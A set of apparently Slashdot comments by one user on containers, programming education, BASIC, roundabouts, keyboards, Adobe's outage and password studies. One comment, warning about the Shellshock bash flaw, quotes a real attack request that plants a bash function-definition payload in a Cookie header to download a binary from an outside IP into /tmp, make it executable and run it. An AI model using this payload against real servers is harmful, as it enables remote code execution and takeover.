I can't shake the feeling that I've seen this movie before, I think it was called "statically linked executables" where all the code needed to run the application resided in one place. Then as the executables got more complex they got much larger, consumed more resources, and large parts of each executable was redundant with each other. Hence static executables were superceded by "dynamically linked executables" which pulled out the redundancies into general purpose libraries that existed in only one place which led to dll version hell. So now we have containers which allows an application to be bundled up with just the code it needs to execute.

And yes, containers have more capabilities than simply isolating the code. However I would argue that code isolation is the primary use of containers.

I have a prediction, that by the end of 2015 we will see one of the container vendors offer a version that allows for "code sharing" between a master image and the individual containers in order to cut down on redundancy. Full Circle++.

Luke: Is the dark side stronger?
Yoda: No, no, no. Quicker, easier, more seductive.

In so many subject areas you have the option of the quick and easy way or the more thorough slog through the fundamentals. Unfortunately, when you are young, the long term advantages of mastering the fundamentals is lost when compared to the short term gratification of getting an assignment done.

There have been many discussions here on Slashdot regarding the issues caused by people who do not understand the fundamentals of their jobs. Coders who cannot code efficiently because they do not understand what makes code inefficient or efficient or how to test for potential improvements. Personally I am aghast at the number of web developers I have run into who are clueless when it comes to networking. Since they have libraries and frameworks for that they don't feel the need to personally understand it. Don't even get me started on the horrible, horrible SQL queries I have seen. There is only so much optimization that can be done on the backend by the optimizing routines written by people who do know the fundamentals.

In the end, too many students seem to not understand the purpose of an "Education" and have confused it with its simpler cousin, "Job training".

1) ignorant bit torrent user who doesn't know how to configure their software to play nice in public
2) ignorant free wifi supplier who doesn't know how to configure their router for QOS
3) ignorant noob who relies on there being free wifi in order to do his job

There is a reason I've used this sig for years.

The steel construction of the Model M is a thing of beauty. And the weight keeps the cat from knocking it off my desk.

I was in Carmel Indiana, a northern Indianapolis suburb, last week. Since the 1990's they have been replacing all of the main intersections with roundabouts. They have over 60 of them now.

While roundabouts have been proven to be safer for average drivers, how easy are they for autonomous vehicles to navigate vs your standard intersection? Is a roundabout an asset to the adoption of autonomous vehicles, a hinderance or a wash?

There is evidence that this is being exploited in the wild.
Nginx and Apache servers using mod_cgi are two potentially vulnerable services.

The risk is that it is possible to modify environment variables which then could allow the execution of arbitrary code with the permissions of the parent process.

An example attack:

GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;

Over at the Internet Storm Center http://isc.sans.org/ they have been updating their advisory and and a have a simple one-liner to test if a system is vulnerable.

Where is the Gallifreian option?

sdf.org to the rescue!

  gopher://phlogosphere.org

Hey Zuck! There is a whole army of non-US Ivy league MBA's who will be more than happy to produce the same BS as Joe Green for a fraction of the cost. Don't you want to work with the "Best"? Doesn't Joe Green want you to?

If one of our sites was down for as long as Adobe's was, heads would roll.

What took so long to restore? Crappy process for restoring server images or recovering a database?

Or, as others have speculated, was there a security breach and they couldn't bring it back up until all the evidence was gathered and the vulnerability was closed.

Oh wait, this is Adobe we are talking about. Their code doesn't have vulnerabilities.

LISP - Lots of InSipid Parenthesis

Surprised at the number of hateful comments regarding BASIC. Even when it was created it was aimed at novices not experts, hence the name: Beginners All-purpose Symbolic Instruction Code. The true value was that the simple syntax made learning programming concepts much simpler. I used to teach a beginning programming class in the 80's that used BASIC. I always felt that I was able to instill a better understanding of what was going on with the simple Line # VERB parameter syntax of the early language. Breaking things down only four Verb types ( Definition, Assignment, I/O, Control) , the operators, and the two type of variables/constants (string/numeric). That's all there is folks. Would I want to try and write a compiler in it, no, but that is not what the language was written for.

Dinosaur trivia points: why do loops commonly use the variable i. (Hint: int does not stand for index.)

Puzzles, puzzles and more puzzles! Number puzzles, word puzzles, shape puzzles! Tangram! Origami!

Things that make you think! Things that give you a sense of accomplishment when completed! Things that make you feel as smart as you are!

Because...

somehow I don't think that a group of people looking for government subsidies for their healthcare represent the best targets for identity fraud.

I hate studies like this. Do people pick common passwords, of course they do. Does everyone pick an easy to guess password, of course not. Can it be blindly determined, for any given user, if their password is "simple" or "complex"? No.

The article puts the blame on the end user, when the truth is the problem is with the websites storing the passwords in plain text or as un-salted hashes and not locking out brute force attacks. What the researchers are really arguing is that
    1) your account may be compromised if hackers break into the website and steal all the passwords.
    2) your password might be easier to guess if it is related to you, hackers are targeting you personally (not likely), and the website doesn't lock the account out.

Don't blame the user, blame the developers and administrators for being lazy and/or inept and failing to protect people from themselves.